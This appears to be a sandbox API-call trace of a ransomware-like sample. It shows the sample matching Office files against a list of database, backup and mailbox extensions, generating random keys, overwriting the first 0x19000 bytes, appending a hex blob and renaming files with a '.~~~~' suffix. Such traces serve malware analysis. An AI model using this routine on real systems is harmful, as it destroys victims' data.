	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".mdt") returned 0x0
	[0134.279] lstrlenW (lpString=".BDB") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".BDB") returned 0x0
	[0134.279] lstrlenW (lpString=".eql") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".eql") returned 0x0
	[0134.279] lstrlenW (lpString=".DBF") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DBF") returned 0x0
	[0134.279] lstrlenW (lpString=".EQL") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".EQL") returned 0x0
	[0134.279] lstrlenW (lpString=".FDB") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".FDB") returned 0x0
	[0134.279] lstrlenW (lpString=".EDB") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".EDB") returned 0x0
	[0134.279] lstrlenW (lpString=".DACPAC") returned 7
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DACPAC") returned 0x0
	[0134.279] lstrlenW (lpString=".VHD") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".VHD") returned 0x0
	[0134.279] lstrlenW (lpString=".DBV") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DBV") returned 0x0
	[0134.279] lstrlenW (lpString=".dacpac") returned 7
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dacpac") returned 0x0
	[0134.280] lstrlenW (lpString=".sdf") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".sdf") returned 0x0
	[0134.280] lstrlenW (lpString=".accdb") returned 6
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".accdb") returned 0x0
	[0134.280] lstrlenW (lpString=".DBX") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DBX") returned 0x0
	[0134.280] lstrlenW (lpString=".MDT") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".MDT") returned 0x0
	[0134.280] lstrlenW (lpString=".SQB") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".SQB") returned 0x0
	[0134.280] lstrlenW (lpString=".vhd") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".vhd") returned 0x0
	[0134.280] lstrlenW (lpString=".bac") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".bac") returned 0x0
	[0134.280] lstrlenW (lpString=".mdf") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".mdf") returned 0x0
	[0134.280] lstrlenW (lpString=".BAK") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".BAK") returned 0x0
	[0134.280] lstrlenW (lpString=".BAC") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".BAC") returned 0x0
	[0134.280] lstrlenW (lpString=".dbs") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dbs") returned 0x0
	[0134.280] lstrlenW (lpString=".vhdx") returned 5
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".vhdx") returned 0x0
	[0134.280] lstrlenW (lpString=".NDF") returned 4
	[0134.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".NDF") returned 0x0
	[0134.280] lstrlenW (lpString=".dat") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dat") returned 0x0
	[0134.281] lstrlenW (lpString=".DBS") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DBS") returned 0x0
	[0134.281] lstrlenW (lpString=".CKP") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".CKP") returned 0x0
	[0134.281] lstrlenW (lpString=".edb") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".edb") returned 0x0
	[0134.281] lstrlenW (lpString=".PST") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".PST") returned 0x0
	[0134.281] lstrlenW (lpString=".dbf") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dbf") returned 0x0
	[0134.281] lstrlenW (lpString=".SQL") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".SQL") returned 0x0
	[0134.281] lstrlenW (lpString=".pst") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".pst") returned 0x0
	[0134.281] lstrlenW (lpString=".dbv") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dbv") returned 0x0
	[0134.281] lstrlenW (lpString=".SDF") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".SDF") returned 0x0
	[0134.281] lstrlenW (lpString=".dtxs") returned 5
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dtxs") returned 0x0
	[0134.281] lstrlenW (lpString=".db3") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".db3") returned 0x0
	[0134.281] lstrlenW (lpString=".OST") returned 4
	[0134.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".OST") returned 0x0
	[0134.281] lstrlenW (lpString=".dbx") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dbx") returned 0x0
	[0134.282] lstrlenW (lpString=".DB3") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DB3") returned 0x0
	[0134.282] lstrlenW (lpString=".DAT") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DAT") returned 0x0
	[0134.282] lstrlenW (lpString=".VHDX") returned 5
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".VHDX") returned 0x0
	[0134.282] lstrlenW (lpString=".ndf") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".ndf") returned 0x0
	[0134.282] lstrlenW (lpString=".DB") returned 3
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DB") returned 0x0
	[0134.282] lstrlenW (lpString=".sql") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".sql") returned 0x0
	[0134.282] lstrlenW (lpString=".MYD") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".MYD") returned 0x0
	[0134.282] lstrlenW (lpString=".DBT") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DBT") returned 0x0
	[0134.282] lstrlenW (lpString=".ACCDB") returned 6
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".ACCDB") returned 0x0
	[0134.282] lstrlenW (lpString=".fdb") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".fdb") returned 0x0
	[0134.282] lstrlenW (lpString=".bak") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".bak") returned 0x0
	[0134.282] lstrlenW (lpString=".myd") returned 4
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".myd") returned 0x0
	[0134.282] lstrlenW (lpString=".DTXS") returned 5
	[0134.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".DTXS") returned 0x0
	[0134.283] lstrlenW (lpString=".ckp") returned 4
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".ckp") returned 0x0
	[0134.283] lstrlenW (lpString=".dbt") returned 4
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dbt") returned 0x0
	[0134.283] lstrlenW (lpString=".db") returned 3
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".db") returned 0x0
	[0134.283] lstrlenW (lpString=".TXT") returned 4
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".TXT") returned 0x0
	[0134.283] lstrlenW (lpString=".MDF") returned 4
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".MDF") returned 0x0
	[0134.283] lstrlenW (lpString=".bdb") returned 4
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".bdb") returned 0x0
	[0134.283] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0134.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.283] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0bf8) returned 1
	[0134.284] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.284] CryptReleaseContext (hProv=0x3a0bf8, dwFlags=0x0) returned 1
	[0134.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.285] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25427482525) returned 1
	[0134.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb97b9c70, dwHighDateTime=0x1d60e1e)) 
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824e18
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824e18 | out: hHeap=0x300000) returned 1
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.285] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.286] GetLastError () returned 0x0
	[0134.286] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.286] GetLastError () returned 0x0
	[0134.286] ReadFile (in: hFile=0x140, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.492] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.492] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0134.494] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.494] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.579] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.579] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.579] CloseHandle (hObject=0x140) returned 1
	[0134.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.~~~~")) returned 1
	[0134.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c48c8 | out: hHeap=0x300000) returned 1
	[0134.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.626] GetLastError () returned 0x0
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".scr") returned 0x0
	[0134.626] lstrlenW (lpString=".cmd") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".cmd") returned 0x0
	[0134.626] lstrlenW (lpString=".dll") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dll") returned 0x0
	[0134.626] lstrlenW (lpString=".bat") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".bat") returned 0x0
	[0134.626] lstrlenW (lpString=".cpl") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".cpl") returned 0x0
	[0134.626] lstrlenW (lpString=".sys") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".sys") returned 0x0
	[0134.626] lstrlenW (lpString=".msc") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".msc") returned 0x0
	[0134.626] lstrlenW (lpString=".com") returned 4
	[0134.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".com") returned 0x0
	[0134.627] lstrlenW (lpString=".lnk") returned 4
	[0134.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".lnk") returned 0x0
	[0134.627] lstrlenW (lpString=".msp") returned 4
	[0134.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".msp") returned 0x0
	[0134.627] lstrlenW (lpString=".pif") returned 4
	[0134.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".pif") returned 0x0
	[0134.627] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0134.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.629] lstrlenW (lpString=".sqb") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".sqb") returned 0x0
	[0134.629] lstrlenW (lpString=".ost") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".ost") returned 0x0
	[0134.629] lstrlenW (lpString=".txt") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".txt") returned 0x0
	[0134.629] lstrlenW (lpString=".mdt") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".mdt") returned 0x0
	[0134.629] lstrlenW (lpString=".BDB") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".BDB") returned 0x0
	[0134.629] lstrlenW (lpString=".eql") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".eql") returned 0x0
	[0134.629] lstrlenW (lpString=".DBF") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DBF") returned 0x0
	[0134.629] lstrlenW (lpString=".EQL") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".EQL") returned 0x0
	[0134.629] lstrlenW (lpString=".FDB") returned 4
	[0134.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".FDB") returned 0x0
	[0134.630] lstrlenW (lpString=".EDB") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".EDB") returned 0x0
	[0134.630] lstrlenW (lpString=".DACPAC") returned 7
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0134.630] lstrlenW (lpString=".VHD") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".VHD") returned 0x0
	[0134.630] lstrlenW (lpString=".DBV") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DBV") returned 0x0
	[0134.630] lstrlenW (lpString=".dacpac") returned 7
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0134.630] lstrlenW (lpString=".sdf") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".sdf") returned 0x0
	[0134.630] lstrlenW (lpString=".accdb") returned 6
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".accdb") returned 0x0
	[0134.630] lstrlenW (lpString=".DBX") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DBX") returned 0x0
	[0134.630] lstrlenW (lpString=".MDT") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".MDT") returned 0x0
	[0134.630] lstrlenW (lpString=".SQB") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".SQB") returned 0x0
	[0134.630] lstrlenW (lpString=".vhd") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".vhd") returned 0x0
	[0134.630] lstrlenW (lpString=".bac") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".bac") returned 0x0
	[0134.630] lstrlenW (lpString=".mdf") returned 4
	[0134.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".mdf") returned 0x0
	[0134.631] lstrlenW (lpString=".BAK") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".BAK") returned 0x0
	[0134.631] lstrlenW (lpString=".BAC") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".BAC") returned 0x0
	[0134.631] lstrlenW (lpString=".dbs") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dbs") returned 0x0
	[0134.631] lstrlenW (lpString=".vhdx") returned 5
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0134.631] lstrlenW (lpString=".NDF") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".NDF") returned 0x0
	[0134.631] lstrlenW (lpString=".dat") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dat") returned 0x0
	[0134.631] lstrlenW (lpString=".DBS") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".DBS") returned 0x0
	[0134.631] lstrlenW (lpString=".CKP") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".CKP") returned 0x0
	[0134.631] lstrlenW (lpString=".edb") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".edb") returned 0x0
	[0134.631] lstrlenW (lpString=".PST") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".PST") returned 0x0
	[0134.631] lstrlenW (lpString=".dbf") returned 4
	[0134.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC", lpSrch=".dbf") returned 0x0
